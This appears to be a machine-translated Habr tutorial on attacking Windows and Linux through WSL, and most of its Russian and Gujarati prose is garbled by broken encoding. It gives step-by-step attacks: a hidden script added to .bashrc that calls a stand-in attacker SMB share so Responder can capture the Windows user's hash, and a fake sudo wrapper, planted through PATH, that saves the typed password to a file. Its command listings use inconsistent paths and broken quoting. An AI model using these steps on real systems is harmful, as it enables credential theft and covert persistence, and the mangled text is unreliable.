- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #ะะฐะณััะทะธัั ะพะฑัะฐะท Linux ะธะท ะผะฐะณะฐะทะธะฝะฐ Microsoft
Ubuntu.appx install โroot #ะฃััะฐะฝะพะฒะธะผ ะพะฑัะฐะท
ะะพะทะผะพะถะฝะพ, ะฟัะธะดะตััั ะฟัะพะบะปะธะบะฐัั ะฟัะพัะตัั ะฝะฐัััะพะนะบะธ ะธ ัะพะทะดะฐัั ะฝะพะฒะพะณะพ ะฟะพะปัะทะพะฒะฐัะตะปั, ะบะพัะพััะน ะฑัะดะตั ะธะผะตัั ะผะตะฝััะต ะฟัะฐะฒ, ัะตะผ root. ะะปั ะฝะฐัะธั
ัะตััะพะฒ ััะพ ะฑัะดะตั ะพะฑััะฝัะน ะฟะพะปัะทะพะฒะฐัะตะปั sam.
Restart-Computer #ะะตัะตะทะฐะณััะทะธะผ
เชธเซเชเซเชจเซเชก เชฐเซเชฌเซเช เชเชฐเซเชฏเชพ เชชเชเซ, เชคเชฎเซ bash เชเชฆเซเชถเชจเซ เชเซเชฒ เชเชฐเซ เชถเชเซ เชเซ. เชเซ เชฌเชงเซเช เชฏเซเชเซเชฏ เชฐเซเชคเซ เชเชพเชฐเซเชฏ เชเชฐเซ เชเซ, เชคเซ เชคเชฎเซ Windows เชเชจเซเชธเซเชฒเชฎเชพเช เชเชจเชพ เชเซเชตเซเช เช เชเชเชเชชเซเช เชเซเชถเซ:
เช
เชฎเซ เชเชพเชฒเซ เชฒเชฟเชจเชเซเชธ เชกเชฟเชธเซเชเซเชฐเชฟเชฌเซเชฏเซเชถเชจเชจเซ เชเชชเชฏเซเช เชนเซเชฎเชฒเชพเชเซเชฐเชจเชพ เชฎเชถเซเชจ เชคเชฐเซเชเซ เชเชฐเซเชถเซเช; เชคเชฎเชพเชฎ เชฎเชถเซเชจเซ เชธเชฎเชพเชจ เชธเซเชฅเชพเชจเชฟเช เชจเซเชเชตเชฐเซเช เชชเชฐ เชนเซเชตเชพ เชเซเชเช.
เชเชพเชฒเซ เชงเชพเชฐเซเช เชเซ เช
เชฎเชพเชฐเซ เชชเชพเชธเซ เชตเชฟเชจเซเชกเซเช เชฎเชถเซเชจ เชชเชฐ เชกเชฌเซเชฒเซเชฏเซเชเชธเชเชฒเชจเซ เช
เชจเชชเซเชฐเชฟเชตเชฟเชฒเซเช เชเชเซเชธเซเชธ เชเซ. เชเชพเชฒเซ Linux เชจเชพ เชเชฆเซเชถเชจเซ เชเซเชฒ เชเชฐเซเชจเซ Linux เชเชชเชฐเซเชเชฟเชเช เชธเชฟเชธเซเชเชฎ เชชเชฐ เชนเซเชฎเชฒเซ เชเชฐเชตเชพเชจเซ เชชเซเชฐเชฏเชพเชธ เชเชฐเซเช. เชนเซเชฎเชฒเชพเชจเซ เช
เชฎเชฒเชฎเชพเช เชฎเซเชเชตเชพ เชฎเชพเชเซ, เช
เชฎเซ เชเช เชธเชฐเชณ เชเชเซเชฐเชจ เชคเชเชจเซเชเชจเซ เชเชชเชฏเซเช เชเชฐเซเชถเซเช - เช
เชฎเซ Linux เชชเชฐเซเชฏเชพเชตเชฐเชฃเชฎเชพเช เช
เชฎเชฒ เชฎเชพเชเซ เช
เชฎเชพเชฐเซ เชธเซเชเซเชฐเชฟเชชเซเช เชเชฎเซเชฐเซเชถเซเช. เช เชเชฐเชตเชพ เชฎเชพเชเซ เชคเชฎเชพเชฐเซ เชซเชพเชเชฒ เชฌเชฆเชฒเชตเชพเชจเซ เชเชฐเซเชฐ เชเซ .bashrc
.
WSL เชธเชพเชฅเซเชจเชพ เชฎเชถเซเชจ เชชเชฐ เช เชฎเซ เชเชเซเชเซเชเซเชฏเซเช เชเชฐเซเช เชเซเช:
1. bash
2. ะะตัะตั
ะพะดะธะผ ะฒ ะดะพะผะฐัะฝัั ะดะธัะตะบัะพัะธั ะฟะพะปัะทะพะฒะฐัะตะปั: cd /home/sam/
2. echo ยซ/home/sam/.attack.shยป >> .bashrc
3. echo ยซicalcs.exe ยป \\\\attacker_ip\\shareName\\ยป > /dev/null 2>&1ยป >> .attack.sh
4. chmod u+x .attack.sh
5. exit
เชเชพเชฒเซ เชฒเชฟเชจเชเซเชธ เชฎเชถเซเชจ เชชเชฐ เช เชฎเซ เชเชฒเชพเชตเซเช เชเซเช:
1. Responder -I eth0 -rdvw
เชตเชฟเชจเซเชกเซเช เชฎเชถเซเชจ เชชเชฐ, เชเชพเชฒเซ เชฌเซเชถ เชฒเซเชจเซเช เชเชฐเซเช.
เช เชฎเซ เชเชพเชฒเซ เชฒเชฟเชจเชเซเชธ เชฎเชถเซเชจ เชชเชฐ เชชเชฐเชฟเชฃเชพเชฎเชจเซ เชฐเชพเชน เชเซเช เชฐเชนเซเชฏเชพ เชเซเช:
เชเชฎ, เช
เชฎเซ Linux เชธเชฟเชธเซเชเชฎ เชชเชฐ เชเชฆเซเชถเชจเซ เชเชเซเชเชฟเชเซเชฏเซเช เชเชฐเซเชจเซ WSL เชธเชฌเชธเชฟเชธเซเชเชฎ เชฆเซเชตเชพเชฐเชพ เชตเชฟเชจเซเชกเซเช เชฏเซเชเชฐ เชนเซเชถ เชฎเซเชณเชตเซเชฏเชพ เชเซ.
WSL 1 เชชเซเชฐเชฏเซเชเซ: เชตเชชเชฐเชพเชถเชเชฐเซเชคเชพ เชชเชพเชธเชตเชฐเซเชก เชฎเซเชณเชตเชตเซ (Linux OS)
เชเชพเชฒเซ เชเช เชตเชงเซ เชชเซเชฐเชฏเซเช เชเชฐเซเช. เช เชเซเช เชฆเชฐเชฎเชฟเชฏเชพเชจ เช
เชฎเซ เชซเชพเชเชฒเชฎเชพเช เชเชฎเซเชฐเซเชถเซเช .bashrc
Linux เชเชชเชฐเซเชเชฟเชเช เชธเชฟเชธเซเชเชฎ เชตเชชเชฐเชพเชถเชเชฐเซเชคเชพ เชชเชพเชธเชตเชฐเซเชก เชฎเซเชณเชตเชตเชพ เชฎเชพเชเซ เชเชฃเชพ เชเชฆเซเชถเซ.
เชเชพเชฒเซ เชฌเซเชถ เชฒเซเชจเซเช เชเชฐเซเช เช เชจเซ เชเชฆเซเชถเซ เชฆเชพเชเชฒ เชเชฐเซเช:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txtยป >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
เชนเซเชฎเชฒเชพเชจเซ เชธเชซเชณเชคเชพเชชเซเชฐเซเชตเช เชชเซเชฐเซเชฃ เชเชฐเชตเชพ เชฎเชพเชเซ, เชตเชชเชฐเชพเชถเชเชฐเซเชคเชพ เชธเซเชฎเชจเซ Linux เชเชฐเซเชฎเชฟเชจเชฒเชฎเชพเช sudo เชเซเชฒ เชเชฐเชตเชพเชจเซ เชเชฐเซเชฐ เชเซ. เช เชชเชเซ, Linux OS เชตเชชเชฐเชพเชถเชเชฐเซเชคเชพ เชชเชพเชธเชตเชฐเซเชก เชซเชพเชเชฒเชฎเชพเช เชนเชถเซ pass.txt
:
เชนเซเชฎเชฒเชพเชจเซ เช
เชฎเชฒ เชฎเชพเชคเซเชฐ เชธเซเชฆเซเชงเชพเชเชคเชฟเช เชฎเชพเชนเชฟเชคเซ เชฎเชพเชเซ เชเชชเชตเชพเชฎเชพเช เชเชตเซเชฏเซ เชนเชคเซ.
เชฒเซเชเชจเซ เชเชเชณเชจเซ เชญเชพเช 9P เชชเซเชฐเซเชเซเชเซเชฒเชจเชพ เช เชฎเชฒเซเชเชฐเชฃเชจเซเช เชตเชฐเซเชฃเชจ เชเชฐเชถเซ, เช เชชเซเชฐเซเชเซเชเซเชฒ เชฎเชพเชเซ เชธเซเชเซเชจเชฐ เชฌเชจเชพเชตเชตเชพเชจเซ เชตเชฟเชเชพเชฐ เชเชฐเชถเซ เช เชจเซ เชคเซเชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ เชนเซเชฎเชฒเซ เชชเชฃ เชเชฐเชถเซ.
เชตเชชเชฐเชพเชฏเซเชฒ เชธเชพเชนเชฟเชคเซเชฏเชจเซ เชธเซเชเชฟ
WSL 2 เชเชฐเชพเชฌเซเชฎเชพเช เชธเชเชถเซเชงเชจ Linux เชฆเชธเซเชคเชพเชตเซเชเซเชเชฐเชฃ เชฎเชพเชเซ เชตเชฟเชจเซเชกเซเช เชธเชฌเชธเชฟเชธเซเชเชฎ
เชตเชงเซ เชตเชพเชเชเซ
เชธเซเชฐเซเชธ: www.habr.com